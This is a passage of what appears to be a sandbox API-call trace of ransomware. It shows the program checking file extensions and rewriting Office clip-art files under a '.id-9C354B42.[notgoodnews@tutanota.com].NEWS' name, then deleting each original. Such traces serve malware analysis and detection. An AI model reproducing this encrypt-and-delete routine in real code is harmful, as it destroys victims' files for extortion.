lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.897] lstrlenW (lpString=".doc") returned 4 [0271.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.897] lstrlenW (lpString=".docx") returned 5 [0271.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.897] lstrlenW (lpString=".pdf") returned 4 [0271.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.898] lstrlenW (lpString=".xls") returned 4 [0271.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.898] lstrlenW (lpString=".xlsx") returned 5 [0271.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.898] lstrlenW (lpString=".ppt") returned 4 [0271.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.898] lstrlenW (lpString=".zip") returned 4 [0271.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.898] lstrlenW (lpString=".rar") returned 4 [0271.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.898] lstrlenW (lpString=".bz2") returned 4 [0271.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.898] lstrlenW (lpString=".7z") returned 3 [0271.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.899] lstrlenW (lpString=".dbf") returned 4 [0271.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.899] lstrlenW (lpString=".1cd") returned 4 [0271.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0271.899] lstrlenW (lpString=".jpg") returned 4 [0271.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.900] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0271.900] lstrlenW (lpString="BS00440_.WMF") returned 12 [0271.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.902] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=5580) returned 1 [0271.902] CloseHandle (hObject=0x3cc) returned 1 [0271.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0271.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.904] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.904] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.905] GetLastError () returned 0x0 [0271.905] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x15cc, lpOverlapped=0x0) returned 1 [0271.913] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0271.917] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.918] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.918] SetEndOfFile (hFile=0x384) returned 1 [0271.918] CloseHandle (hObject=0x384) returned 1 [0271.919] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.919] SetEndOfFile (hFile=0x3cc) returned 1 [0271.926] CloseHandle (hObject=0x3cc) returned 1 [0271.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0271.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.930] lstrlenW (lpString=".doc") returned 4 [0271.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.930] lstrlenW (lpString=".docx") returned 5 [0271.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.930] lstrlenW (lpString=".pdf") returned 4 [0271.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.931] lstrlenW (lpString=".xls") returned 4 [0271.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.931] lstrlenW (lpString=".xlsx") returned 5 [0271.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.931] lstrlenW (lpString=".ppt") returned 4 [0271.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.934] lstrlenW (lpString=".zip") returned 4 [0271.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.934] lstrlenW (lpString=".rar") returned 4 [0271.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.934] lstrlenW (lpString=".bz2") returned 4 [0271.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.935] lstrlenW (lpString=".7z") returned 3 [0271.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.935] lstrlenW (lpString=".dbf") returned 4 [0271.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.935] lstrlenW (lpString=".1cd") returned 4 [0271.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.936] lstrlenW (lpString=".jpg") returned 4 [0271.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.936] lstrlenW (lpString=".doc") returned 4 [0271.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.937] lstrlenW (lpString=".docx") returned 5 [0271.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.937] lstrlenW (lpString=".pdf") returned 4 [0271.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.937] lstrlenW (lpString=".xls") returned 4 [0271.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.937] lstrlenW (lpString=".xlsx") returned 5 [0271.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.938] lstrlenW (lpString=".ppt") returned 4 [0271.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.938] lstrlenW (lpString=".zip") returned 4 [0271.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.938] lstrlenW (lpString=".rar") returned 4 [0271.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.939] lstrlenW (lpString=".bz2") returned 4 [0271.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.939] lstrlenW (lpString=".7z") returned 3 [0271.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.939] lstrlenW (lpString=".dbf") returned 4 [0271.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.940] lstrlenW (lpString=".1cd") returned 4 [0271.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0271.940] lstrlenW (lpString=".jpg") returned 4 [0271.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.941] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0271.942] lstrlenW (lpString="BS00441_.WMF") returned 12 [0271.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.943] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3524) returned 1 [0271.943] CloseHandle (hObject=0x3cc) returned 1 [0271.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0271.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.945] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.945] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.947] GetLastError () returned 0x0 [0271.947] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xdc4, lpOverlapped=0x0) returned 1 [0271.956] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0271.961] ReadFile (in: hFile=0x3cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.961] WriteFile (in: hFile=0x384, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.961] SetEndOfFile (hFile=0x384) returned 1 [0271.961] CloseHandle (hObject=0x384) returned 1 [0271.962] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.962] SetEndOfFile (hFile=0x3cc) returned 1 [0271.974] CloseHandle (hObject=0x3cc) returned 1 [0271.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.468] lstrlenW (lpString=".doc") returned 4 [0272.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.468] lstrlenW (lpString=".docx") returned 5 [0272.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.469] lstrlenW (lpString=".pdf") returned 4 [0272.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.469] lstrlenW (lpString=".xls") returned 4 [0272.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.469] lstrlenW (lpString=".xlsx") returned 5 [0272.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.469] lstrlenW (lpString=".ppt") returned 4 [0272.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.469] lstrlenW (lpString=".zip") returned 4 [0272.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.470] lstrlenW (lpString=".rar") returned 4 [0272.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.470] lstrlenW (lpString=".bz2") returned 4 [0272.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.470] lstrlenW (lpString=".7z") returned 3 [0272.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.470] lstrlenW (lpString=".dbf") returned 4 [0272.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.470] lstrlenW (lpString=".1cd") returned 4 [0272.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.471] lstrlenW (lpString=".jpg") returned 4 [0272.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.471] lstrlenW (lpString=".doc") returned 4 [0272.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.471] lstrlenW (lpString=".docx") returned 5 [0272.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.472] lstrlenW (lpString=".pdf") returned 4 [0272.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.472] lstrlenW (lpString=".xls") returned 4 [0272.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.472] lstrlenW (lpString=".xlsx") returned 5 [0272.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.472] lstrlenW (lpString=".ppt") returned 4 [0272.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.472] lstrlenW (lpString=".zip") returned 4 [0272.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.472] lstrlenW (lpString=".rar") returned 4 [0272.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString=".bz2") returned 4 [0272.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString=".7z") returned 3 [0272.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.473] lstrlenW (lpString=".dbf") returned 4 [0272.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.474] lstrlenW (lpString=".1cd") returned 4 [0272.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0272.474] lstrlenW (lpString=".jpg") returned 4 [0272.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.474] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.475] lstrlenW (lpString="BS01080_.WMF") returned 12 [0272.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0272.476] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=2732) returned 1 [0272.476] CloseHandle (hObject=0x3d4) returned 1 [0272.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0272.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0272.477] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.478] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.482] GetLastError () returned 0x0 [0272.482] ReadFile (in: hFile=0x3d4, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xaac, lpOverlapped=0x0) returned 1 [0272.800] WriteFile (in: hFile=0x338, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0272.803] ReadFile (in: hFile=0x3d4, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.803] WriteFile (in: hFile=0x338, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.804] SetEndOfFile (hFile=0x338) returned 1 [0272.804] CloseHandle (hObject=0x338) returned 1 [0272.804] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.804] SetEndOfFile (hFile=0x3d4) returned 1 [0272.815] CloseHandle (hObject=0x3d4) returned 1 [0272.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0272.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.916] lstrlenW (lpString=".doc") returned 4 [0272.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.917] lstrlenW (lpString=".docx") returned 5 [0272.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.917] lstrlenW (lpString=".pdf") returned 4 [0272.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.917] lstrlenW (lpString=".xls") returned 4 [0272.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.917] lstrlenW (lpString=".xlsx") returned 5 [0272.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.917] lstrlenW (lpString=".ppt") returned 4 [0272.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.917] lstrlenW (lpString=".zip") returned 4 [0272.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.918] lstrlenW (lpString=".rar") returned 4 [0272.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.918] lstrlenW (lpString=".bz2") returned 4 [0272.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.918] lstrlenW (lpString=".7z") returned 3 [0272.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.918] lstrlenW (lpString=".dbf") returned 4 [0272.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.918] lstrlenW (lpString=".1cd") returned 4 [0272.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.919] lstrlenW (lpString=".jpg") returned 4 [0272.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0272.919] lstrlenW (lpString=".doc") returned 4 [0272.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString=".docx") returned 5 [0272.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.919] lstrlenW (lpString=".pdf") returned 4 [0272.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.919] lstrlenW (lpString=".xls") returned 4 